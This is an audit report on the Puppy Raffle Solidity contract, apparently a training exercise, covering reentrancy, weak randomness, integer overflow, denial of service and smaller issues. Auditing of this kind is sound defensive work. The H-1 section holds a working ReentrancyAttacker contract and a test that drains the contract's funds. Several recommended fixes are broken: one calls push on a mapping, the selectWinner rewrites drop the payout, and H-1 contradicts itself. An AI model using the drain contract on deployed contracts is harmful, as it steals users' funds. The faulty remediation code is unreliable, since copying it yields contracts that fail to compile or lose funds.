Protocol Audit Report

Prepared by: Royal

Tabe of Contents

Protocol Summary

The Puppy Raffle protocol allows users to enter a raffle to win a cute dog NFT. Participants can enter the raffle by calling the `enterRaffle` function with a list of addresses. Duplicate addresses are not allowed, and users can request a refund of their ticket value. The raffle periodically selects a winner, who receives a random puppy NFT, while a fee is sent to a designated address.

Disclaimer

I made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed, and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M

		Impact		
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

The audit covers the `PuppyRaffle.sol` contract located in the `src` directory. The commit hash of the codebase is `e30d199697bbc822b646d76533b66b7d529b8ef5`.

Roles

- **Owner**: Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- **Player**: Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The audit identified several vulnerabilities and issues in the Puppy Raffle protocol, including high-severity issues such as reentrancy attacks, weak randomness, and integer overflow. Medium-severity issues include potential denial of service due to gas limits and unsafe casting. Low-severity issues include incorrect player index handling and missing zero-address checks. Informational issues include the use of outdated Solidity versions and missing events. Gas optimizations were also suggested to improve efficiency.

Issues found

- **High**: 3 issues
- **Medium**: 3 issues
- **Low**: 1 issue
- **Informational**: 7 issues
- **Gas**: 2 optimizations

Findings

High

[H-1] - The `PuppyRaffle::refund` function can be exploited to drain the contract's balance.

Description: The `PuppyRaffle::refund` function can be exploited to drain the contract's balance. It does follow checks-effects-interactions pattern. The `PuppyRaffle::refund` function first transfers the amount to the caller and then updates the balance of the caller. This can be exploited by a malicious user to drain the contract's balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array. This can be a contract address that has a fallback function that can call the `PuppyRaffle::refund` function again. This can result in a reentrancy attack and the contract's balance can be drained.

```
 function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

-       payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

Impact: A malicious user can exploit this vulnerability to drain the contract's balance. This can result in a loss of funds for the contract owner and the users.

Proof of Concept:

1. User enter raffle
2. Attacker sets up contract with fallback function that calls `PuppyRaffle::refund` function
3. Attacter enter raffle
4. Attacker calls `PuppyRaffle::refund` function draining the contract's balance

Proof of Code:

▶ Code

Place the following into the test file:

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new
ReentrancyAttacker(puppyRaffle);
        address attackerAddress = makeAddr("attacker");
        vm.deal(attackerAddress, 1 ether);

        uint256 startingAttackerContractBalance =
address(attackerContract).balance;
        uint256 startingPuppyRaffleBalance =
address(puppyRaffle).balance;

        vm.prank(attackerAddress);
        attackerContract.attack{value: entranceFee}();

        console.log("Attacker Contract Starting Balance: ",
startingAttackerContractBalance);
        console.log("Puppy Raffle Starting Balance: ",
startingPuppyRaffleBalance);

        console.log("Ending Puppy Raffle Balance: ",
address(puppyRaffle).balance);
        console.log("Ending Attacker Contract Balance: ",
address(attackerContract).balance);

        assertEq(address(attackerContract).balance,
startingPuppyRaffleBalance + entranceFee);


    }

}
```

And the following into the `ReentrancyAttacker` contract:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;
```

```
    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();

    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() public {
       if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive () external payable {
        _stealMoney();
    }
}
```

Recommendation Mitigation: To mitigate this vulnerability, we should have the `PuppyRaffle::refund` function update the `PuppyRaffle::players` array before making the external call to the `msg.sender` address. This will prevent the reentrancy attack and the contract's balance will not be drained.

```diff

    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
+       payable(msg.sender).sendValue(entranceFee);
-       payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
```

```
-        emit RaffleRefunded(playerAddress);
     }
```

[H-2] - weak randomness in `PuppyRaffle::sellectWinner` allows users to influences or pridict winner and influence or pridict the raresest puppy

Description Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together create a predictable find number. A predictable number is not good for a random number. malicious user can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means user can front-run this function and call the `refund` if the see they are not the winner.

Impact Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept

1. Validators can known ahead of time the `block.timestamp` and `block.difficulty` and use that to pridict/how to perticipate. See the [Solidity blog on prevrando](). `block.difficulty` was recently replaced with prevrando.
2. User can mine or manipulate their `msg.sender` value to result in their address for the generated winner!
3. User can revert their `PuppyRaffle::sellectWinner` if they don`t like the winner or resulting puppy.

Using on-chain values as random seeds is a [well known attack vector]() in the blockchain space.

Recommendation Mitigation consider using a cryptographcally provable random number generator like Chainlink VRF or Oraclize. This will ensure that the winner of the raffle is truly random and cannot be influenced by any user.

[H-3] - Interger overflow in `PuppyRaffle::total` function can lead to loss of funds.

Description: The `PuppyRaffle::total` function can lead to an integer overflow. The `PuppyRaffle::total` function calculates the total amount collected and the total fees collected. If the total amount collected or the total fees collected exceeds the maximum value of a uint64, an integer overflow will occur. This can result in a loss of funds for the contract owner and the users. In solidity version prior to 0.8.0, the overflow will not revert the transaction, and the contract will continue to execute.

```
uint64 var = type(uint64).max;
//18446744073709551615
var = var + 1;
// var = 0
```

Impact: An integer overflow can result in a loss of funds for the contract owner and the users. This can result in the contract owner and the users losing their funds. In the `PuppyRaffle::selectWinner` , `totalFees` are accumulated for the `feeAddress` to collect in the `PuppyRaffle::withdrawFees` function. If the `totalFees` exceed the maximum value of a uint64, an integer overflow will occur and the `totalFees` will be reset to 0. This can result in a loss of funds for the contract owner and the users.

Proof of Concept:

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. totalFees will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in PuppyRaffle::withdrawFees:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do. At some point, there will be to much `balance` in the contract that the above `require` will not be able to pass.

Proof of Code: Place this into the `PuppyRaffleTest.t.sol` file.

▶ Code

```
 function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}
(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
active!");
        puppyRaffle.withdrawFees();
    }
```

Recommendation Mitigation: To mitigate this vulnerability, you can consider the following:

1. You can consider using a larger integer type like uint256 to store the total amount collected and the total fees collected. This will prevent an integer overflow and will not result in a loss of funds for the contract owner and the users.

```
    uint256 public totalAmountCollected;
    uint256 public totalFeesCollected;
```

2. You can consider using the SafeMath library to prevent an integer overflow. The SafeMath library will revert the transaction if an integer overflow occurs. This will prevent a loss of funds for the contract owner and the users.

```
    using SafeMath for uint256;

    totalAmountCollected = totalAmountCollected.add(msg.value);
    totalFeesCollected = totalFeesCollected.add(fee);
```

3. Remove the balance check from `PoppyRaffle::withdrawFees` function. This will allow the contract owner to withdraw the fees even if the `totalFees` exceed the contract's balance.

```diff
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+   require(totalFees > 0, "PuppyRaffle: No fees to withdraw");
```

There are more attack vector with the final `require`, so we recommend removing it entirely and allowing the contract owner to withdraw the fees at any time.

Medium

[M-1] - Looping through the players array to check duplicates in `PuppyRaffle::enterRaffle` function is a potential DENIAL OF SERVICE vulnerability, as the array can grow to a large size and the function will consume more gas than the block gas limit.

Description: The `PuppyRaffle::enterRaffle` function loops through the players array to check if the player is already in the array. This can be a potential denial of service vulnerability as the array can grow to a large size and the function will consume more gas than the block gas limit. This can prevent the function from executing successfully.

Impact: The function will consume more gas than the block gas limit and will not execute successfully. This can prevent users from entering the raffle. An attacker can exploit this vulnerability to prevent users from entering the raffle. Even if the attacker does not have any malicious intent, the function will consume more gas than the block gas limit and will not execute successfully.

Proof of Concept: If we have to set of 100 players, the gas cost will be such:

- 1st 100 players: ~6252048 gas
- 2nd 100 players: ~18502048 gas

This is three times the gas cost of the first 100 players. This can be a potential denial of service vulnerability.

▶ Code Snippet

```
function testFunctionCanBeDOS() public {
        address[] memory addresses = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
           addresses[i] = address(i);
        }
        uint256 gasStart = gasleft();
        // Pass the array to the enterRaffle function
        puppyRaffle.enterRaffle{value: entranceFee* addresses.length }
(addresses);

        uint256 gasCost = gasStart - gasleft();
        console.log("Gas cost for 100 playerd", gasCost);

        address[] memory addressesSecond = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
           addressesSecond[i] = address(i + 100);
        }
        uint256 gasStart2 = gasleft();
        // Pass the array to the enterRaffle function
        puppyRaffle.enterRaffle{value: entranceFee*
addressesSecond.length }(addressesSecond);

        uint256 gasCost2 = gasStart2 - gasleft();
        console.log("Gas cost for 100 playerd", gasCost2);

        assert(gasCost2 > gasCost);

    }
```

Recommendation Mitigation: To mitigate this vulnerability, you can consider the following:

1. you can consider allowing duplicate entries in the players array. So that the function does not loop through the players array to check for duplicates. which will reduce the gas cost of the function and prevent the denial of service vulnerability.

```
function enterRaffle() public payable {
    require(msg.value == entranceFee, "Incorrect entrance fee");
    players.push(msg.sender);
}
```

2. you can consider a mapping to store the players' addresses. This will reduce the gas cost of the function and prevent the denial of service vulnerability.

```
mapping(address => bool) public players;

function enterRaffle() public payable {
    require(msg.value == entranceFee, "Incorrect entrance fee");
    require(!players[msg.sender], "Player already entered the raffle");
    players[msg.sender] = true;
    players.push(msg.sender);
}
```

Alternatively, you could consider OpenZeppelin's EnumerableSet to store the players' addresses. This will reduce the gas cost of the function and prevent the denial of service vulnerability.

[M-2] Unsafe cast of PuppyRaffle::fee loses fees

Description: In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in
raffle");

        uint256 winnerIndex =
```

```
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

A raffle proceeds with a little more than 18 ETH worth of fees collected The line that casts the fee as a uint64 hits totalFees is incorrectly updated with a lower amount You can replicate this in foundry's chisel by running the following:

```
    uint256 max = type(uint64).max
    uint256 fee = max + 1
    uint64(fee)
    // prints 0
```

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

// We do some storage packing to save gas But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
```

```diff
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] - Smart contract wallet raffle winners without a `receive` or `fallback` function will not be able to receive the winnings and will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function sends the winnings to the winner's address. If the winner's address is a smart contract wallet that does not have a `receive` or `fallback` function, the winnings will not be received. This will block the start of a new contest and the winnings will be stuck in the contract.

User can easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lost due to the duplication check and lottery reset could get very challenging.

Impact: The winnings will not be received by the winner and will be stuck in the contract. This will block the start of a new contest and the winnings will be stuck in the contract. This can result in a loss of funds for the contract owner and the users.

Also, the contract owner will not be able to withdraw the fees if the winnings are not received by the winner. This can result in a loss of funds for the contract owner and the users.

Proof of Concept:

1. 10 smart contract wallets enter the raffle without a `receive` or `fallback` function
2. The Lottery is concluded.
3. The `PuppyRaffle::selectWinner` function won`t work, even though the lottery is concluded.

Recommendation Mitigation: To mitigate this vulnerability, you can consider the following:

1. You can consider checking if the winner's address is a smart contract wallet that does not have a `receive` or `fallback` function. If the winner's address is a smart contract wallet that does not have a `receive` or `fallback` function, you can revert the transaction and prevent the winnings from being sent to the winner. This will prevent the winnings from being stuck in the contract and will allow the contract owner to withdraw the fees.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in
raffle");

        uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        require(!isContract(winner), "PuppyRaffle: Winner is a smart
contract wallet");
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
        totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }

    function isContract(address _address) private view returns (bool) {
        uint32 size;
        assembly {
            size := extcodesize(_address)
        }
        return size > 0;
    }
```

2. Create a mapping of addressess to payout so winner can pull their winnings. (Recommended)

```
    mapping(address => uint256) public winnings;

    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in
raffle");

        uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        winnings[winner] = address(this).balance;
        players = new address[](0);
        emit RaffleWinner(winner, winnings[winner]);
    }
```

```
    function withdrawWinnings() external {
        uint256 amount = winnings[msg.sender];
        require(amount > 0, "PuppyRaffle: No winnings to withdraw");
        winnings[msg.sender] = 0;
        payable(msg.sender).transfer(amount);
    }
```

Low

[L-1] - The `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players, and for players at index 0. Causing a player in index 0 to be treated as a non-existent player.

Description: The `PuppyRaffle::getActivePlayerIndex` function returns 0 for non-existent players, and for players at index 0. This can cause a player in index 0 to be treated as a non-existent player. This can result in unexpected behavior in the contract.

```
    function getActivePlayerIndex(address playerAddress) public view
returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == playerAddress) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player in index 0 can be treated as a non-existent player. This can result in the player entering the raffle multiple times. This can result in waste of gas.

Proff of Concept:

1. Player at index 0 enters the raffle
2. Player at index 0 calls `PuppyRaffle::getActivePlayerIndex` function
3. The function returns 0, treating the player at index 0 as a non-existent player

Recommendation Mitigation: The easiest way to fix this issue is to return a value that is not a valid index in the players array. You can return -1 if the player is not found in the players array. This will prevent a player in index 0 from being treated as a non-existent player.

```
    function getActivePlayerIndex(address playerAddress) public view
returns (int256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == playerAddress) {
                return int256(i);
            }
        }
        return -1;

    }
```

You can also reserve index 0 for a non-existent player. This will prevent a player in index 0 from being treated as a non-existent player, or for the function to revert if the player is not in the array.

Informational

[I-1] solidity pragma should be specific, not wide.

Description: The pragma statement in the PuppyRaffle contract is too wide. It is recommended to specify the version of Solidity that the contract is written in. This will prevent the contract from being compiled with a different version of Solidity that may introduce vulnerabilities.

- Found in 'PuppyRaffle.sol' file.

[I-2] Using outdated version of Solidity is not recommended.

solc frquently releases new versions with bug fixes and security patches. It is recommended to use the latest version of Solidity to prevent vulnerabilities.

Recommendation: Update the Solidity version to the latest version to prevent vulnerabilities.

[I-3] - Missing check for zero address

Assigning values to address variables without checking for zero address can lead to unexpected behavior. It is recommended to check for zero address before assigning values to address variables.

- Found in src/PuppyRaffle.sol: 8662:23:35
- Found in src/PuppyRaffle.sol: 3165:24:35
- Found in src/PuppyRaffle.sol: 9809:26:35

[I-4] - The `PuppyRaffle::sellectWinner` should follow the checks-effects-interactions pattern.

it best to keep code clean and follow the checks-effects-interactions pattern. The `PuppyRaffle::sellectWinner` function should follow the checks-effects-interactions pattern. The function should first check the conditions, then update the state variables, and then interact with other contracts.

```
-   (bool success, ) = payable(winner).call{value: address(this).balance}("");
-   require(success, "PuppyRaffle: Failed to send the balance to the winner");
    _safeMint(winner, tokenId);
+  (bool success, ) = payable(winner).call{value: address(this).balance}("");
+  require(success, "PuppyRaffle: Failed to send the balance to the winner");
```

[I-5] use of "magic" number is discouraged

it can be confusing to see number literals in a codebase, and it`s much more readable if the numbers are given a name.

Example

```
    uint256 pricepool = (totalAmountCollected * 80) / 100;
    uint256 fees = (totalFeesCollected * 20) / 100;
```

Instead you can use:

```
uint256 public constant PRICE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] - State changes are missing event

Events are a way to notify clients listening to the blockchain that a state change has occurred. It is recommended to emit an event after a state change to notify clients listening to the blockchain.

```
+ emit RaffleWinner(winner, winnings);
```

[I-7] - `PuppyRaffle::_isActivePlayer` function is defined but never used and should be removed.

The `PuppyRaffle::_isActivePlayer` function is defined but never used. It is recommended to remove the unused function to reduce the contract's size and complexity.

```
- function _isActivePlayer(address playerAddress) private view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == playerAddress) {
-                return true;
-            }
-        }
-        return false;
-    }
```

Gas

[G-1] - Unchanged State variable should be decleared Constant or Immutable

Reading from storage is expensive in terms of gas. If a state variable is not going to be changed, it is recommended to declare it as constant or immutable. This will reduce the gas cost of reading from storage.

Instances:

- `PuppyRaffle::raffleDuration` can be declared as `Immutable`
- `PuppyRaffle::commonImageURI` can be declared as `Constant`
- `PuppyRaffle::rareImageURI` can be declared as `Constant`
- `PuppyRaffle::legendaryImageURI` can be declared as `Constant`

[G-2] - Storage variable should be cached

Every time a storage variable is read, it costs gas. It is recommended to cache the storage variable in a local variable to reduce the gas cost of reading from storage.

```
+ playerslength = players.length;

-     for (uint256 i = 0; i < players.length - 1; i++) {
+     for (uint256 i = 0; i < playerslength - 1; i++) {
                for (uint256 j = i + 1; j < players.length; j++) {
+               for (uint256 j = i + 1; j < playerslength; j++) {
                    require(players[i] != players[j], "PuppyRaffle:
Duplicate player");
                }
            }
```